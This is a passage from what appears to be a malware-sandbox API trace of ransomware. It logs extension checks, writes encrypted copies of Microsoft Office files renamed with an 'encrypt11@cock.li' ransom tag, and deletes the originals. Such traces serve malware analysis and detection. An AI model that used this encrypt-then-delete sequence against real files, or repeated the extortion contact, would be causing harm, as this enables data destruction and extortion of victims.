4 [0159.491] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.492] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.492] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0159.492] GetLastError () returned 0x0 [0159.492] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x2d753, lpOverlapped=0x0) returned 1 [0159.495] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x2d760, lpOverlapped=0x0) returned 1 [0159.504] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.505] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf6, lpOverlapped=0x0) returned 1 [0159.505] SetEndOfFile (hFile=0x360) returned 1 [0159.505] CloseHandle (hObject=0x360) returned 1 [0159.505] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.505] SetEndOfFile (hFile=0x348) returned 1 [0159.507] CloseHandle (hObject=0x348) returned 1 [0159.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1 [0159.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0159.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0159.507] lstrlenW (lpString=".doc") returned 4 [0159.507] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.507] lstrlenW (lpString=".docx") returned 5 [0159.507] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.507] lstrlenW (lpString=".pdf") returned 4 [0159.507] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.507] lstrlenW (lpString=".xls") returned 4 [0159.507] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.507] lstrlenW (lpString=".xlsx") returned 5 [0159.507] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.507] lstrlenW (lpString=".ppt") returned 4 [0159.508] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0159.508] lstrlenW (lpString=".zip") returned 4 [0159.508] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.508] lstrlenW (lpString=".rar") returned 4 [0159.508] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.508] lstrlenW (lpString=".bz2") returned 4 [0159.508] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.508] lstrlenW (lpString=".7z") returned 3 [0159.508] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0159.508] lstrlenW (lpString=".dbf") returned 4 [0159.508] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0159.508] lstrlenW (lpString=".1cd") returned 4 [0159.508] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0159.508] lstrlenW (lpString=".jpg") returned 4 [0159.508] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.508] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.508] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0159.509] GetLastError () returned 0x0 [0159.509] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0xb17b, lpOverlapped=0x0) returned 1 [0159.510] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xb180, lpOverlapped=0x0) returned 1 [0159.511] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.511] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf8, lpOverlapped=0x0) returned 1 [0159.511] SetEndOfFile (hFile=0x360) returned 1 [0159.511] CloseHandle (hObject=0x360) returned 1 [0159.511] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.511] SetEndOfFile (hFile=0x348) returned 1 [0159.512] CloseHandle (hObject=0x348) returned 1 [0159.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1 [0159.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0159.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0159.513] lstrlenW (lpString=".doc") returned 4 [0159.513] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.513] lstrlenW (lpString=".docx") returned 5 [0159.513] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.513] lstrlenW (lpString=".pdf") returned 4 [0159.513] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.513] lstrlenW (lpString=".xls") returned 4 [0159.513] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.513] lstrlenW (lpString=".xlsx") returned 5 [0159.513] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.513] lstrlenW (lpString=".ppt") returned 4 [0159.513] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0159.513] lstrlenW (lpString=".zip") returned 4 [0159.513] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.513] lstrlenW (lpString=".rar") returned 4 [0159.513] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.513] lstrlenW (lpString=".bz2") returned 4 [0159.513] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.513] lstrlenW (lpString=".7z") returned 3 [0159.513] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0159.514] lstrlenW (lpString=".dbf") returned 4 [0159.514] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0159.514] lstrlenW (lpString=".1cd") returned 4 [0159.514] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0159.514] lstrlenW (lpString=".jpg") returned 4 [0159.514] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.514] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.514] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0159.514] GetLastError () returned 0x0 [0159.514] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0xde70, lpOverlapped=0x0) returned 1 [0159.516] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xde80, lpOverlapped=0x0) returned 1 [0159.517] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.517] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf2, lpOverlapped=0x0) returned 1 [0159.517] SetEndOfFile (hFile=0x360) returned 1 [0159.517] CloseHandle (hObject=0x360) returned 1 [0159.517] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.517] SetEndOfFile (hFile=0x348) returned 1 [0159.518] CloseHandle (hObject=0x348) returned 1 [0159.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1 [0159.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0159.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0159.519] lstrlenW (lpString=".doc") returned 4 [0159.519] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0159.519] lstrlenW (lpString=".docx") returned 5 [0159.519] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0159.519] lstrlenW (lpString=".pdf") returned 4 [0159.519] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0159.519] lstrlenW (lpString=".xls") returned 4 [0159.519] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0159.519] lstrlenW (lpString=".xlsx") returned 5 [0159.519] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0159.519] lstrlenW (lpString=".ppt") returned 4 [0159.519] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0159.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0159.519] lstrlenW (lpString=".zip") returned 4 [0159.519] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0159.519] lstrlenW (lpString=".rar") returned 4 [0159.519] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0159.519] lstrlenW (lpString=".bz2") returned 4 [0159.519] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0159.520] lstrlenW (lpString=".7z") returned 3 [0159.520] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0159.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0159.520] lstrlenW (lpString=".dbf") returned 4 [0159.520] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0159.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0159.520] lstrlenW (lpString=".1cd") returned 4 [0159.520] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0159.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0159.520] lstrlenW (lpString=".jpg") returned 4 [0159.520] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0159.520] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.520] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0159.521] GetLastError () returned 0x0 [0159.521] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0159.522] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0159.523] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.523] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x112, lpOverlapped=0x0) returned 1 [0159.524] SetEndOfFile (hFile=0x360) returned 1 [0159.524] CloseHandle (hObject=0x360) returned 1 [0159.524] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.524] SetEndOfFile (hFile=0x348) returned 1 [0159.525] CloseHandle (hObject=0x348) returned 1 [0159.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0159.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0159.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0159.525] lstrlenW (lpString=".doc") returned 4 [0159.525] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.525] lstrlenW (lpString=".docx") returned 5 [0159.525] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.525] lstrlenW (lpString=".pdf") returned 4 [0159.525] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.525] lstrlenW (lpString=".xls") returned 4 [0159.525] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.525] lstrlenW (lpString=".xlsx") returned 5 [0159.525] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.526] lstrlenW (lpString=".ppt") returned 4 [0159.526] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0159.526] lstrlenW (lpString=".zip") returned 4 [0159.526] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.526] lstrlenW (lpString=".rar") returned 4 [0159.526] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.526] lstrlenW (lpString=".bz2") returned 4 [0159.526] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.526] lstrlenW (lpString=".7z") returned 3 [0159.526] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0159.526] lstrlenW (lpString=".dbf") returned 4 [0159.526] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0159.526] lstrlenW (lpString=".1cd") returned 4 [0159.526] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0159.526] lstrlenW (lpString=".jpg") returned 4 [0159.526] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.526] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.526] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0159.527] GetLastError () returned 0x0 [0159.527] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0159.726] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0159.727] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.727] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x112, lpOverlapped=0x0) returned 1 [0159.727] SetEndOfFile (hFile=0x360) returned 1 [0159.727] CloseHandle (hObject=0x360) returned 1 [0159.727] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.727] SetEndOfFile (hFile=0x348) returned 1 [0159.728] CloseHandle (hObject=0x348) returned 1 [0159.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0159.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0159.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0159.729] lstrlenW (lpString=".doc") returned 4 [0159.729] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.729] lstrlenW (lpString=".docx") returned 5 [0159.729] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.729] lstrlenW (lpString=".pdf") returned 4 [0159.729] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.729] lstrlenW (lpString=".xls") returned 4 [0159.729] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.729] lstrlenW (lpString=".xlsx") returned 5 [0159.729] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.729] lstrlenW (lpString=".ppt") returned 4 [0159.729] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0159.729] lstrlenW (lpString=".zip") returned 4 [0159.729] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.729] lstrlenW (lpString=".rar") returned 4 [0159.729] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.729] lstrlenW (lpString=".bz2") returned 4 [0159.729] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.729] lstrlenW (lpString=".7z") returned 3 [0159.729] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0159.729] lstrlenW (lpString=".dbf") returned 4 [0159.729] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0159.729] lstrlenW (lpString=".1cd") returned 4 [0159.730] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0159.730] lstrlenW (lpString=".jpg") returned 4 [0159.730] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.730] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.730] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0159.730] GetLastError () returned 0x0 [0159.731] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x50c0, lpOverlapped=0x0) returned 1 [0159.914] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x50d0, lpOverlapped=0x0) returned 1 [0159.915] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.915] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x11c, lpOverlapped=0x0) returned 